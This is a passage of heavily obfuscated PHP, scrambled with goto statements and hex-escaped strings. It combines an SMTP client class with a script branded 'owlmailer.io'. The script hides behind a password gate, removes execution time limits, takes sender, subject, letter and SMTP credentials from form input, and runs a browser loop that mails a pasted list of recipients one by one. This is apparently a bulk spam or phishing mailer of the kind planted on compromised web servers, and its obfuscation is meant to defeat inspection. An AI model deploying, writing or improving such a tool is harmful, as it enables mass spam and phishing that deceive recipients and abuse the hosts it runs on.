$matches)) { goto UmtpM; } goto tq2vK; hEIa8: $this->edebug("\123\115\124\x50\x20\105\x52\122\x4f\x52\x3a\x20" . $this->error["\x65\162\162\157\162"] . "\72\x20" . $this->last_reply, self::DEBUG_CLIENT); goto yxeSi; W4Mho: $this->setError("{$command}\x20\x63\x6f\155\x6d\x61\x6e\144\40\146\141\151\x6c\145\144", $detail, $code, $code_ex); goto hEIa8; p0lDZ: D8RDJ: goto icHve; OCJUN: if (in_array($code, (array) $expect)) { goto dFami; } goto W4Mho; BR2pJ: return false; goto xrf5J; tq2vK: $code = substr($this->last_reply, 0, 3); goto xsS5B; Qnf63: dFami: goto G6yaM; Q3ILO: $detail = substr($this->last_reply, 4); goto v0wTD; icHve: $this->edebug("\x53\105\122\126\105\x52\x20\x2d\x3e\40\x43\x4c\111\x45\x4e\124\x3a\40" . $this->last_reply, self::DEBUG_SERVER); goto OCJUN; iLBYi: $this->setError("\x43\157\155\x6d\141\156\144\40\47{$command}\47\x20\143\x6f\x6e\x74\x61\x69\x6e\145\x64\40\x6c\x69\x6e\x65\40\x62\162\x65\x61\x6b\163"); goto OWw7Q; vD05q: return true; goto fLJhx; v0wTD: goto D8RDJ; goto IenFc; rRs_I: $matches = []; goto huFvb; yxeSi: return false; goto Qnf63; fLJhx: } public function sendAndMail($from) { return $this->sendCommand("\x53\101\115\114", "\x53\101\115\x4c\40\106\122\117\115\x3a{$from}", 250); } public function verify($name) { return $this->sendCommand("\x56\x52\x46\131", "\x56\x52\x46\131\x20{$name}", [250, 251]); } public function noop() { return $this->sendCommand("\116\117\117\x50", "\x4e\117\x4f\x50", 250); } public function turn() { goto aifCp; aifCp: $this->setError("\124\x68\145\40\123\115\x54\120\x20\x54\x55\122\116\40\143\x6f\x6d\x6d\141\x6e\144\40\151\163\x20\156\157\x74\x20\151\x6d\x70\x6c\145\x6d\145\156\164\145\x64"); goto sCSyL; sCSyL: $this->edebug("\123\x4d\x54\x50\x20\116\x4f\124\111\x43\x45\x3a\x20" . $this->error["\x65\162\162\x6f\x72"], self::DEBUG_CLIENT); goto aYlEu; aYlEu: return false; goto pEg1V; pEg1V: } public function client_send($data, $command = '') { goto VtDNP; IB6S2: $this->edebug("\103\x4c\111\105\116\124\x20\x2d\76\40\123\105\x52\x56\x45\122\72\x20" . $data, self::DEBUG_CLIENT); goto awOaa; pflT0: $result = fwrite($this->smtp_conn, $data); goto ocrUi; UgAxd: $this->edebug("\x43\114\111\x45\116\124\40\55\x3e\x20\123\105\x52\x56\105\122\x3a\40\x3c\x63\162\x65\144\x65\156\x74\x69\141\x6c\163\x20\150\151\144\144\145\156\76", self::DEBUG_CLIENT); goto kg6Rj; XqZ5C: set_error_handler([$this, "\x65\x72\162\x6f\162\110\x61\x6e\144\x6c\x65\162"]); goto pflT0; kg6Rj: ZHp9G: goto XqZ5C; DItqA: return $result; goto Q7msM; awOaa: goto ZHp9G; goto L_oka; VtDNP: if (self::DEBUG_LOWLEVEL > $this->do_debug and in_array($command, ["\125\163\x65\x72\x20\46\40\120\x61\163\163\167\157\x72\x64", "\125\163\145\162\x6e\141\155\145", "\120\x61\x73\163\167\x6f\162\144"], true)) { goto oBLyu; } goto IB6S2; L_oka: oBLyu: goto UgAxd; ocrUi: restore_error_handler(); goto DItqA; Q7msM: } public function getError() { return $this->error; } public function getServerExtList() { return $this->server_caps; } public function getServerExt($name) { goto WXcFd; bJjmb: return $this->server_caps[$name]; goto gKlBA; J1q8w: $this->setError("\x4e\157\x20\x48\105\x4c\117\x2f\105\x48\114\117\40\x77\x61\x73\x20\163\145\156\164"); goto zlLCP; PCXgM: return $this->server_caps["\105\x48\114\117"]; goto FNkqc; TnXN8: return; goto fIzSa; WXcFd: if ($this->server_caps) { goto c0rej; } goto J1q8w; qzl99: if (!("\110\x45\x4c\117" == $name)) { goto OOeQJ; } goto PCXgM; qy8r1: F_chh: goto N78nO; zlLCP: return; goto IN98t; tYw6o: return false; goto qy8r1; fIzSa: SuH3P: goto bJjmb; SEBVU: if (array_key_exists($name, $this->server_caps)) { goto SuH3P; } goto qzl99; GPjKH: if (!("\x45\x48\114\117" == $name || array_key_exists("\105\110\x4c\x4f", $this->server_caps))) { goto F_chh; } goto tYw6o; IN98t: c0rej: goto SEBVU; N78nO: $this->setError("\110\x45\114\117\x20\x68\141\156\x64\x73\150\x61\153\x65\40\167\x61\163\40\x75\163\145\144\73\x20\116\x6f\x20\151\x6e\146\157\x72\x6d\x61\x74\x69\157\156\40\x61\142\x6f\x75\164\x20\163\145\162\x76\x65\162\x20\145\170\164\x65\156\163\151\157\156\163\x20\x61\166\x61\151\x6c\141\x62\154\x65"); goto TnXN8; FNkqc: OOeQJ: goto GPjKH; gKlBA: } public function getLastReply() { return $this->last_reply; } protected function get_lines() { goto ObIaZ; fdbjJ: return ''; goto gUJMn; P9zYE: goto Z8KMq; goto czHc4; mdJte: return $data; goto fgrfi; nSTCJ: xd88b: goto dxLBM; TJH2Q: $selR = [$this->smtp_conn]; goto hGOLN; dmrJ3: goto Z8KMq; goto nSTCJ; hq7po: $info = stream_get_meta_data($this->smtp_conn); goto RMyBD; R0Pwz: if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) { goto Z8KMq; } goto jOHCn; k_FzY: Z8KMq: goto mdJte; rCTHy: $str = @fgets($this->smtp_conn, 515); goto wZsu0; compP: NubSf: goto TJH2Q; DxxEn: $endtime = time() + $this->Timelimit; goto compP; IetJW: $this->edebug("\x53\115\x54\x50\40\x2d\x3e\40\x67\145\x74\x5f\x6c\151\x6e\x65\x73\50\x29\x3a\x20\x74\151\155\x65\x6c\151\x6d\151\x74\40\162\145\x61\143\x68\x65\x64\x20\x28" . $this->Timelimit . "\40\x73\x65\143\51", self::DEBUG_LOWLEVEL); goto s60GO; zK1P0: $data = ''; goto AVl42; UHilu: if (!($this->Timelimit > 0)) { goto NubSf; } goto DxxEn; OHpuu: ZigFY: goto hq7po; s60GO: goto Z8KMq; goto GJO3y; wZsu0: $this->edebug("\123\x4d\x54\x50\x20\111\x4e\x42\x4f\x55\116\x44\x3a\40\42" . trim($str) . "\x22", self::DEBUG_LOWLEVEL); goto cpw8S; AVl42: $endtime = 0; goto k2Teu; cpw8S: $data .= $str; goto fw330; bnELK: $this->edebug("\x53\x4d\124\x50\40\x2d\x3e\x20\x67\x65\164\137\154\x69\x6e\145\x73\x28\51\72\x20\x74\x69\155\145\x64\x2d\x6f\165\164\40\50" . $this->Timeout . "\40\x73\145\x63\51", self::DEBUG_LOWLEVEL); goto P9zYE; k2Teu: stream_set_timeout($this->smtp_conn, $this->Timeout); goto UHilu; RMyBD: if (!$info["\x74\151\x6d\145\x64\137\157\x75\164"]) { goto xd88b; } goto n2sEF; d6hbR: goto uDMmr; goto k_FzY; gUJMn: Je0nS: goto zK1P0; A6BE2: goto Z8KMq; goto OHpuu; n2sEF: $this->edebug("\123\115\124\x50\x20\x2d\76\x20\x67\145\x74\137\154\x69\156\x65\x73\50\51\x3a\40\x74\x69\155\145\144\55\x6f\165\164\x20\50" . $this->Timeout . "\x20\163\145\x63\51", self::DEBUG_LOWLEVEL); goto dmrJ3; bGyXR: uDMmr: goto R0Pwz; dxLBM: if (!($endtime and time() > $endtime)) { goto YHkCN; } goto IetJW; GJO3y: YHkCN: goto d6hbR; fw330: if (!(!isset($str[3]) or isset($str[3]) and $str[3] == "\40")) { goto ZigFY; } goto A6BE2; ObIaZ: if (is_resource($this->smtp_conn)) { goto Je0nS; } goto fdbjJ; czHc4: OemDA: goto rCTHy; hGOLN: $selW = null; goto bGyXR; jOHCn: if (stream_select($selR, $selW, $selW, $this->Timelimit)) { goto OemDA; } goto bnELK; fgrfi: } public function setVerp($enabled = false) { $this->do_verp = $enabled; } public function getVerp() { return $this->do_verp; } protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = ["\145\162\162\157\162" => $message, "\144\x65\164\141\151\x6c" => $detail, "\163\x6d\164\160\137\x63\157\144\145" => $smtp_code, "\163\155\x74\x70\137\143\x6f\x64\x65\x5f\x65\170" => $smtp_code_ex]; } public function setDebugOutput($method = "\145\x63\150\x6f") { $this->Debugoutput = $method; } public function getDebugOutput() { return $this->Debugoutput; } public function setDebugLevel($level = 0) { $this->do_debug = $level; } public function getDebugLevel() { return $this->do_debug; } public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } public function getTimeout() { return $this->Timeout; } protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) { goto Tafpa; byAyu: $this->edebug("{$notice}\40\x45\x72\x72\157\x72\40\x23{$errno}\x3a\x20{$errmsg}\x20\x5b{$errfile}\x20\154\x69\156\x65\x20{$errline}\x5d", self::DEBUG_CONNECTION); goto J7KLe; Tafpa: $notice = "\103\x6f\156\156\x65\143\x74\151\157\x6e\x20\x66\141\x69\x6c\145\144\56"; goto Br57x; Br57x: $this->setError($notice, $errmsg, (string) $errno); goto byAyu; J7KLe: } protected function recordLastTransactionID() { goto iEPNN; RF1qL: foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { goto GWMIO; IVN9R: FfZid: goto sels8; GWMIO: if (!preg_match($smtp_transaction_id_pattern, $reply, $matches)) { goto Wq0g_; } goto Fyisk; Fyisk: $this->last_smtp_transaction_id = trim($matches[1]); goto D9VmQ; D9VmQ: goto jOuLq; goto z6WGj; z6WGj: Wq0g_: goto IVN9R; sels8: } goto D1T9h; AreMH: return $this->last_smtp_transaction_id; goto eEzgy; aiIfu: $this->last_smtp_transaction_id = null; goto vYftQ; D1T9h: jOuLq: goto SpDLg; iEPNN: $reply = $this->getLastReply(); goto Y9RYN; Y9RYN: if (empty($reply)) { goto sAPoE; } goto Eso_v; vYftQ: ioPBv: goto AreMH; SpDLg: goto ioPBv; goto yUfZg; Eso_v: $this->last_smtp_transaction_id = false; goto RF1qL; yUfZg: sAPoE: goto aiIfu; eEzgy: } public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } goto jj3Ju; VEuIy: set_time_limit(0); goto sZqEy; sBXff: $GLOBALS["\x72\x65\160\154\x79\124\x6f"] = owlTrim($_POST["\x72\x65\160\154\171\124\x6f"]); goto QGmBo; YTu3e: function randString($consonants, $min_length, $max_length) { goto E4Lc6; E4Lc6: $length = rand($min_length, $max_length); goto FVzcO; aMxZJ: SlAW9: goto kqOqv; Mbo6x: $password .= $consonants[rand() % strlen($consonants)]; goto gSdDR; kqOqv: if (!($i < $length)) { goto KyaK7; } goto Mbo6x; xNeoX: goto SlAW9; goto EOoFJ; Lg2ec: return $password; goto Gx3hY; gSdDR: VQr1l: goto URcoY; UaNuP: $i = 0; goto aMxZJ; FVzcO: $password = ''; goto UaNuP; EOoFJ: KyaK7: goto Lg2ec; URcoY: $i++; goto xNeoX; Gx3hY: } goto saOQ7; roAg8: $GLOBALS["\155\145\163\163\x61\147\x65\x54\x79\x70\x65"] = owlTrim($_POST["\155\145\163\163\141\x67\x65\124\171\x70\145"]); goto oYHGs; giQDz: $GLOBALS["\163\x65\x6e\x64\145\x72\x4e\x61\155\x65"] = owlTrim($_POST["\x73\x65\x6e\x64\x65\162\116\x61\x6d\x65"]); goto UioeA; TdNm6: $owl["\x77\x65\x62\163\151\164\x65"] = "\x6f\x77\154\155\141\151\x6c\x65\x72\x2e\x69\x6f"; goto NlcjN; gjUdH: $GLOBALS["\162\x65\x63\151\x70\151\145\156\164"] = owlTrim($_POST["\x72\145\143\151\160\151\x65\156\x74"]); goto XCmtY; HPRnm: echo "\42\x3e"; goto nNUAs; UioeA: $GLOBALS["\x73\145\156\x64\151\x6e\x67\115\x65\x74\150\157\144"] = owlTrim($_POST["\163\145\156\144\x69\x6e\x67\115\x65\x74\150\157\x64"]); goto U3CBH; nNUAs: echo $owl["\167\x65\x62\x73\x69\x74\145"]; goto Rvpps; HCp3t: if (isset($_SESSION[$sessioncode])) { goto bSVjw; } goto juqWA; nHqsP: $GLOBALS["\x6d\145\x73\163\x61\x67\145\123\x75\x62\x6a\x65\x63\164"] = stripslashes($messageSubject); goto ZvHun; LzZ02: $sessioncode = md5(__FILE__); goto HCp3t; Iu6Nn: print "\74\160\162\145\x20\141\154\151\x67\156\75\143\145\x6e\x74\x65\162\x3e\x3c\146\x6f\162\155\40\x6d\x65\164\x68\157\x64\x3d\x70\x6f\x73\164\76\120\x61\x73\163\x77\x6f\x72\144\x3a\x20\74\151\x6e\160\165\164\x20\x74\171\160\x65\x3d\x27\160\x61\x73\x73\167\157\162\144\x27\x20\x6e\x61\x6d\x65\x3d\x27\160\141\163\x73\47\x3e\x3c\x69\x6e\x70\x75\164\x20\x74\x79\x70\145\75\47\163\x75\x62\x6d\151\x74\x27\x20\x76\141\x6c\x75\145\x3d\x27\x3e\76\47\x3e\x3c\57\x66\x6f\x72\x6d\76\74\57\x70\162\x65\x3e"; goto qhps9; x5J6g: $GLOBALS["\155\145\x73\163\141\147\x65\114\x65\x74\164\145\162"] = stripslashes($messageLetter); goto PBOOI; YbvdK: echo basename($_SERVER["\x50\110\x50\137\x53\105\x4c\x46"]); goto PxHSI; MFHkM: header("\x43\x61\143\x68\145\55\103\x6f\x6e\164\x72\x6f\154\x3a\40\156\157\x2d\163\x74\157\x72\145\54\40\156\x6f\55\143\141\x63\150\x65\54\x20\155\165\x73\164\x2d\x72\145\x76\141\x6c\151\x64\141\x74\145\x2c\x20\155\141\x78\x2d\141\x67\x65\x3d\60"); goto MSTbJ; YyLK1: $altMessageLetter = urlencode($altMessageLetter); goto tjNyb; snwvY: lrjfz: goto LzZ02; rToZd: $GLOBALS["\141\x6c\x74\115\x65\163\163\141\147\145\114\x65\164\164\145\x72"] = stripslashes($altMessageLetter); goto roAg8; LyfFP: $GLOBALS["\x65\x6e\143\x6f\x64\151\x6e\147\124\171\x70\145"] = stripslashes($encodingType); goto yZdUN; FsfbP: if (!(!empty($password) && $_SESSION[$sessioncode] != $password)) { goto u1sYM; } goto h1Zs5; qhps9: exit; goto ckb7d; ckb7d: goto mCEaK; goto RAX9d; IiWyC: $messageSubject = owlTrim($_POST["\x6d\145\x73\163\x61\x67\145\123\165\x62\152\x65\x63\x74"]); goto nHqsP; h1Zs5: if (isset($_REQUEST["\x70\141\163\x73"]) and $_REQUEST["\x70\x61\x73\x73"] == $password) { goto htsZV; } goto Iu6Nn; xX1Ws: function setSendingMethod() { goto zKjiJ; yvHl3: EZsFI: goto uwmvS; kGkx6: if (owlTrim($parts[2]) == "\163\163\x6c") { goto TmkSD; } goto GWUU2; zKjiJ: $mail = new PHPMailer(); goto TvJEL; TvJEL: if (!($GLOBALS["\163\145\156\144\x69\x6e\147\115\145\x74\150\x6f\144"] == "\163\x6d\x74\160")) { goto EZsFI; } goto HXeXA; XgcVI: if (!(isset($parts[3]) && isset($parts[4]))) { goto EW8jy; } goto g3QTF; nrS4L: KHxF4: goto Pp1eU; fMSOS: $mail->Port = owlTrim($parts[1]); goto kGkx6; l1VFJ: EW8jy: goto yvHl3; gY3Jx: goto KHxF4; goto nex77; LeNGr: DSYJ3: goto XgcVI; g3QTF: $mail->SMTPAuth = true; goto jGRIG; zskUI: $mail->SMTPSecure = "\164\x6c\x73"; goto nrS4L; HXeXA: $mail->IsSMTP(); goto KdFfL; rP1HK: $mail->Host = owlTrim($parts[0]); goto fMSOS; JIabB: $mail->SMTPSecure = ''; goto gY3Jx; jGRIG: $mail->Username = owlTrim($parts[3]); goto TRq_6; uwmvS: return $mail; goto iEZEt; TRq_6: $mail->Password = owlTrim($parts[4]); goto l1VFJ; raVtb: TmkSD: goto WFXFi; WFXFi: $mail->SMTPSecure = "\163\x73\154"; goto LeNGr; GWUU2: if (owlTrim($parts[2]) == "\x74\154\163") { goto G0I7b; } goto JIabB; KdFfL: $parts = explode("\72", $GLOBALS["\x73\x6d\x74\x70\101\x63\143\x74"]); goto rP1HK; nex77: G0I7b: goto zskUI; Pp1eU: goto DSYJ3; goto raVtb; iEZEt: } goto eJhKU; oYHGs: $encodingType = owlTrim($_POST["\145\x6e\x63\x6f\x64\151\x6e\x67\x54\x79\160\145"]); goto LyfFP; cPz1k: $messageLetter = urlencode($messageLetter); goto RUBRo; saOQ7: function is_email($input) { goto q9xVR; q9xVR: $email_pattern = "\x2f\136\x28\133\141\55\x7a\x41\x2d\132\60\55\71\x5c\55\x5c\x5f\134\x2e\x5d\x7b\x31\x2c\x7d\x29\53\100\53\x28\x5b\141\55\172\x41\55\x5a\x30\55\x39\134\x2d\x5c\137\134\56\135\173\61\54\175\x29\x2b\134\56\x2b\x28\133\x61\55\172\135\173\x32\54\x34\175\51\x24\x2f\x69"; goto Bs3s4; et10Z: return TRUE; goto Ix1W6; Ix1W6: KL8EB: goto ELSj4; Bs3s4: if (!preg_match($email_pattern, $input)) { goto KL8EB; } goto et10Z; ELSj4: } goto lzxOZ; FR20b: echo "\74\x2f\164\151\x74\x6c\145\76\12\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x3c\x6c\151\x6e\x6b\x20\x68\162\145\x66\75\x22\150\x74\x74\x70\163\72\57\57\x63\144\156\x2e\x6a\x73\x64\145\154\151\166\162\56\x6e\145\164\57\x6e\160\x6d\x2f\142\x6f\x6f\x74\x73\x74\162\141\160\100\x33\x2e\64\56\x31\x2f\144\x69\163\x74\x2f\x63\x73\163\57\x62\x6f\157\164\163\164\x72\x61\x70\56\155\x69\x6e\x2e\143\163\x73\x22\x20\162\x65\x6c\75\x22\x73\x74\x79\x6c\x65\x73\150\x65\x65\164\42\x3e\xa\40\40\74\41\x2d\x2d\x20\152\x51\x75\145\x72\x79\x20\x28\x6e\145\143\x65\163\163\x61\162\171\x20\x66\x6f\162\40\x42\157\x6f\x74\x73\164\162\141\x70\x27\x73\x20\x4a\141\166\x61\x53\143\162\151\x70\x74\40\x70\154\165\x67\151\156\163\x29\40\55\55\x3e\12\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\74\x73\x63\162\x69\160\x74\x20\163\x72\143\75\42\x68\164\164\x70\x73\72\57\57\x63\x6f\x64\145\56\x6a\x71\165\x65\162\x79\56\x63\157\155\x2f\152\x71\165\x65\162\x79\55\x33\56\66\56\x30\x2e\155\x69\156\56\x6a\163\x22\76\x3c\57\x73\143\162\151\x70\x74\76\xa\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x3c\163\143\162\x69\160\x74\40\x73\162\143\75\x22\150\x74\164\160\x73\72\x2f\57\x63\144\156\x2e\152\x73\x64\145\154\x69\x76\x72\x2e\156\145\x74\57\x6e\x70\x6d\57\142\157\x6f\164\x73\164\162\x61\160\x40\x33\x2e\x34\x2e\x31\57\x64\x69\x73\x74\x2f\152\x73\x2f\142\x6f\x6f\164\x73\x74\x72\x61\x70\56\x6d\151\156\56\x6a\x73\42\x3e\74\x2f\163\143\162\x69\160\x74\x3e\12\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\x20\x20\74\x6c\151\x6e\153\40\162\145\x6c\75\42\151\143\x6f\156\42\40\x68\x72\145\146\75\42\150\164\164\x70\x73\72\x2f\x2f\x63\x64\156\55\151\x63\x6f\156\x73\55\x70\156\x67\56\146\x6c\141\164\x69\x63\x6f\x6e\56\x63\157\155\57\65\61\62\x2f\x31\70\x36\x34\57\x31\x38\66\64\x35\62\x31\56\x70\x6e\x67\42\40\164\171\x70\x65\75\42\151\155\x61\x67\145\x2f\x78\55\151\143\x6f\156\x22\40\57\x3e\xa\12\xa\74\x2f\150\x65\141\x64\x3e\12\12\74\x62\x6f\144\171\x3e\xa\40\40\40\40\74\163\143\x72\151\x70\164\x3e\xa\x20\x20\40\40\40\x20\x20\40\x76\141\x72\x20\x72\x75\x6e\x6e\x69\x6e\x67\x20\75\40\146\141\x6c\x73\x65\x3b\xa\40\x20\40\40\40\x20\40\x20\166\x61\162\x20\162\145\x71\x75\145\x73\164\73\xa\40\40\x20\x20\x3c\x2f\x73\143\162\x69\x70\164\x3e\xa\xa\40\40\x3c\163\143\x72\151\x70\164\x3e\xa\x20\x20\40\x20\101\x72\162\141\x79\56\x70\x72\x6f\164\x6f\164\x79\160\145\56\x72\141\x6e\x64\x6f\x6d\x45\x6c\145\x6d\145\x6e\x74\40\75\40\x66\x75\x6e\143\164\151\x6f\156\x20\50\x29\x20\173\xa\40\x20\162\x65\164\165\x72\156\x20\x74\150\151\163\133\115\x61\164\x68\56\146\x6c\157\x6f\x72\x28\x4d\141\x74\x68\x2e\x72\141\156\144\x6f\155\50\51\40\52\x20\164\x68\151\163\x2e\154\145\156\147\x74\150\x29\135\xa\40\175\xa\12\40\x66\x75\156\143\x74\151\x6f\156\x20\163\164\157\x70\x53\x65\156\x64\x69\156\147\x28\51\xa\x20\173\12\x20\40\40\x20\x72\165\x6e\x6e\151\x6e\x67\40\75\40\146\x61\x6c\163\x65\73\12\xa\x20\x20\40\x20\151\x66\40\x28\x72\145\x71\x75\145\x73\164\x29\x20\x7b\12\x20\x20\x20\x20\x20\x20\40\x20\162\x65\x71\x75\145\x73\x74\56\x61\x62\157\162\x74\x28\51\73\12\x20\x20\40\x20\x20\x20\175\12\xa\x20\x20\x20\x20\x24\50\42\x23\142\164\x6e\123\164\141\162\x74\x22\x29\x2e\x61\x74\x74\162\x28\42\x64\x69\x73\141\142\154\x65\144\x22\54\x20\146\x61\x6c\x73\145\x29\73\12\x20\x20\40\40\x24\50\42\x23\142\164\x6e\x53\164\x6f\160\x22\x29\x2e\141\x74\x74\x72\50\x22\x64\x69\x73\141\142\154\x65\144\42\54\x20\164\162\x75\145\51\x3b\xa\40\175\xa\xa\x20\146\165\156\x63\x74\x69\x6f\156\x20\150\x61\156\144\x6c\x65\123\145\x6e\x64\x69\156\147\x52\145\x73\x70\157\x6e\x73\145\x28\x72\x65\143\151\160\x69\x65\x6e\x74\54\40\x72\145\x73\x70\157\156\163\145\54\x20\160\x72\157\143\x65\163\163\x65\x64\x43\157\x75\x6e\x74\x2c\40\x74\x6f\x74\141\x6c\x45\155\x61\x69\x6c\103\157\x75\156\164\51\40\x7b\12\40\x20\x24\x28\x22\43\160\x72\157\147\x72\145\163\163\42\51\x2e\x61\160\x70\145\156\144\x28\47\74\x64\151\166\40\143\x6c\141\x73\163\75\42\x63\157\x6c\55\154\x67\x2d\x33\x22\x3e\47\40\53\40\160\162\157\x63\145\x73\163\x65\x64\x43\x6f\x75\x6e\164\56\x74\157\123\164\x72\151\x6e\147\x28\x29\x20\53\x20\47\57\47\40\53\40\x74\157\164\141\x6c\x45\155\x61\151\x6c\x43\x6f\x75\x6e\164\x2e\x74\x6f\123\x74\x72\x69\156\147\x28\x29\40\53\40\x27\x3c\x2f\144\x69\x76\76\x3c\144\x69\x76\x20\x63\x6c\x61\163\x73\x3d\42\x63\157\154\55\154\x67\55\x36\42\76\47\40\53\40\x72\145\143\151\x70\x69\145\x6e\x74\40\53\x20\x27\74\57\144\x69\x76\76\47\x29\x3b\xa\x20\x20\12\40\x20\x69\x66\x20\50\x72\145\163\x70\157\x6e\x73\x65\x20\75\75\x20\42\x4f\x4b\42\51\173\xa\x20\40\40\x20\x24\50\x22\43\160\x72\x6f\x67\x72\x65\x73\x73\42\51\x2e\x61\160\x70\x65\156\144\50\x27\x3c\x64\x69\166\x20\x63\154\141\x73\x73\x3d\x22\143\x6f\154\55\x6c\x67\x2d\x31\42\76\74\x73\x70\141\156\x20\143\154\141\163\163\x3d\x22\x6c\141\142\x65\154\40\154\141\142\145\x6c\x2d\x73\x75\143\x63\145\163\163\42\76\x4f\x6b\74\57\x73\x70\x61\156\76\74\x2f\x64\151\166\76\47\51\x3b\xa\x20\40\x7d\12\x20\40\x65\x6c\x73\145\40\x69\146\x28\x72\x65\x73\x70\x6f\x6e\x73\x65\40\x3d\x3d\x20\42\x49\156\x63\157\x72\162\145\x63\x74\40\105\x6d\141\151\154\x22\x29\173\12\x20\40\x20\40\44\x28\x22\43\x70\x72\157\147\x72\x65\x73\x73\x22\51\56\x61\160\x70\x65\156\144\x28\x27\74\x64\x69\166\x20\143\x6c\x61\163\163\75\x22\143\x6f\x6c\x2d\x6c\x67\x2d\61\x22\x3e\74\x73\160\x61\156\40\x63\x6c\x61\x73\x73\75\x22\154\x61\x62\x65\154\40\154\141\x62\145\154\x2d\144\145\x66\x61\165\154\x74\42\x3e\x49\156\x63\x6f\x72\162\145\x63\164\x20\x45\155\x61\151\x6c\x3c\x2f\163\160\141\x6e\76\74\57\x64\x69\x76\x3e\47\x29\x3b\xa\x20\40\x7d\x20\145\154\163\x65\40\x7b\xa\40\x20\40\x20\x24\50\x22\43\160\162\x6f\x67\x72\145\x73\x73\42\x29\56\141\x70\160\145\156\144\x28\47\x3c\x64\151\x76\40\143\x6c\141\x73\x73\x3d\42\143\157\x6c\x2d\x6c\x67\x2d\x31\42\76\x3c\x73\x70\x61\x6e\x20\143\154\141\x73\x73\x3d\42\154\x61\x62\x65\x6c\x20\154\141\x62\145\154\55\144\x65\146\141\165\154\x74\42\76\47\40\x2b\x20\162\x65\x73\160\157\156\163\x65\x20\53\x20\47\74\57\x73\x70\141\x6e\76\x3c\x2f\x64\x69\166\76\47\51\73\12\x20\40\x7d\12\40\40\x24\50\42\x23\x70\x72\157\x67\162\x65\x73\163\x22\51\56\141\160\x70\145\x6e\144\50\47\x3c\x62\162\x3e\47\x29\x3b\12\x20\175\xa\12\40\x66\165\x6e\143\x74\151\x6f\156\40\x73\164\141\x72\x74\123\145\x6e\144\x69\156\x67\50\x29\40\x7b\12\xa\x20\12\xa\x20\x20\x76\x61\x72\40\x65\x4d\x61\151\154\124\145\170\164\101\162\x65\141\x20\x3d\x20\x64\157\x63\x75\155\145\x6e\164\x2e\x67\145\164\105\154\145\155\x65\x6e\x74\x42\171\111\x64\50\42\x65\155\141\151\154\x4c\151\x73\x74\x22\x29\x3b\xa\40\x20\166\x61\x72\x20\x65\x4d\x61\151\x6c\124\145\170\x74\101\x72\145\141\x4c\x69\156\x65\x73\x20\75\40\145\115\141\151\154\x54\x65\170\164\x41\x72\145\x61\56\166\141\154\165\x65\56\x73\160\154\x69\164\50\x22\x5c\156\x22\51\x3b\12\40\x20\166\x61\162\x20\x73\x6d\x74\x70\101\143\143\157\x75\156\x74\x73\x54\145\170\x74\101\x72\145\141\x20\x3d\40\x64\x6f\143\x75\x6d\x65\156\164\56\x67\145\164\x45\x6c\145\155\145\156\164\102\x79\111\x64\50\42\163\x6d\x74\160\101\x63\143\x6f\x75\x6e\164\163\42\51\x3b\12\40\40\x76\x61\162\x20\x73\x6d\164\160\x41\143\143\x6f\165\156\x74\163\x54\145\170\164\101\162\145\141\x4c\x69\x6e\x65\163\40\x3d\x20\163\x6d\164\x70\x41\143\143\x6f\165\x6e\164\163\x54\x65\x78\164\101\162\145\x61\x2e\x76\x61\x6c\x75\x65\56\163\x70\x6c\151\x74\50\42\134\x6e\x22\x29\x3b\12\x20\x20\166\141\162\x20\x65\x6e\143\x6f\x64\x69\x6e\x67\x54\171\x70\145\105\x20\75\x20\x64\x6f\143\165\155\145\x6e\164\x2e\147\145\x74\x45\154\145\155\x65\x6e\164\x42\x79\x49\144\x28\47\x65\x6e\143\157\144\151\156\147\47\x29\73\12\40\x20\x76\141\162\40\x65\x6e\143\157\x64\151\156\147\x54\x79\160\x65\40\x3d\x20\145\x6e\143\x6f\x64\x69\x6e\147\124\171\160\x65\x45\x2e\157\x70\164\151\x6f\x6e\x73\x5b\145\x6e\x63\x6f\144\x69\x6e\x67\124\171\x70\x65\x45\x2e\163\x65\154\x65\143\x74\145\144\x49\156\x64\x65\x78\135\x2e\x76\141\x6c\x75\145\x3b\12\x20\x20\x76\x61\x72\x20\x65\x6d\x61\x69\x6c\x50\x72\151\157\x72\x69\x74\x79\x45\40\75\40\x64\x6f\143\x75\155\145\x6e\x74\x2e\x67\x65\164\x45\x6c\x65\x6d\145\156\164\x42\x79\x49\x64\50\x27\x70\162\x69\157\x72\x69\x74\171\47\51\73\12\40\x20\166\141\x72\x20\145\x6d\141\151\x6c\120\162\x69\x6f\162\151\x74\x79\40\75\x20\145\155\141\x69\x6c\120\162\151\x6f\162\151\x74\171\x45\56\157\160\164\151\157\156\163\133\x65\155\141\151\x6c\x50\162\151\x6f\162\x69\x74\x79\x45\x2e\x73\145\x6c\x65\x63\x74\x65\144\x49\x6e\144\145\x78\135\56\166\141\154\x75\145\x3b\12\x20\12\40\x20\x20\166\141\162\x20\146\157\162\x6d\x5f\144\x61\164\x61\x20\75\x20\156\145\167\x20\106\157\162\x6d\x44\141\164\x61\50\51\73\12\40\40\40\x66\157\162\155\137\x64\141\164\x61\56\x61\160\160\145\x6e\x64\x28\42\141\143\x74\x69\157\x6e\42\54\x20\42\163\x65\156\x64\42\51\73\xa\x20\40\40\x66\157\x72\x6d\137\144\141\164\x61\x2e\x61\160\x70\x65\156\x64\x28\x22\163\145\156\x64\151\156\x67\115\x65\x74\x68\157\x64\x22\54\40\x64\157\x63\165\155\145\x6e\x74\56\x71\165\x65\x72\x79\123\145\x6c\x65\143\x74\x6f\x72\x28\47\x69\x6e\160\165\164\x5b\156\141\x6d\x65\x3d\42\163\145\156\x64\x69\x6e\x67\115\145\x74\x68\x6f\144\x22\x5d\72\143\150\x65\x63\153\x65\144\47\51\x2e\x76\141\154\165\x65\x29\x3b\12\40\40\40\x66\157\x72\155\x5f\144\x61\164\141\56\x61\160\160\x65\x6e\144\x28\x22\163\x65\156\x64\x65\162\105\155\141\151\x6c\x22\54\40\144\x6f\143\165\155\x65\x6e\x74\x2e\147\x65\x74\105\x6c\145\x6d\x65\x6e\164\x42\x79\111\x64\x28\x27\163\145\156\144\x65\162\x45\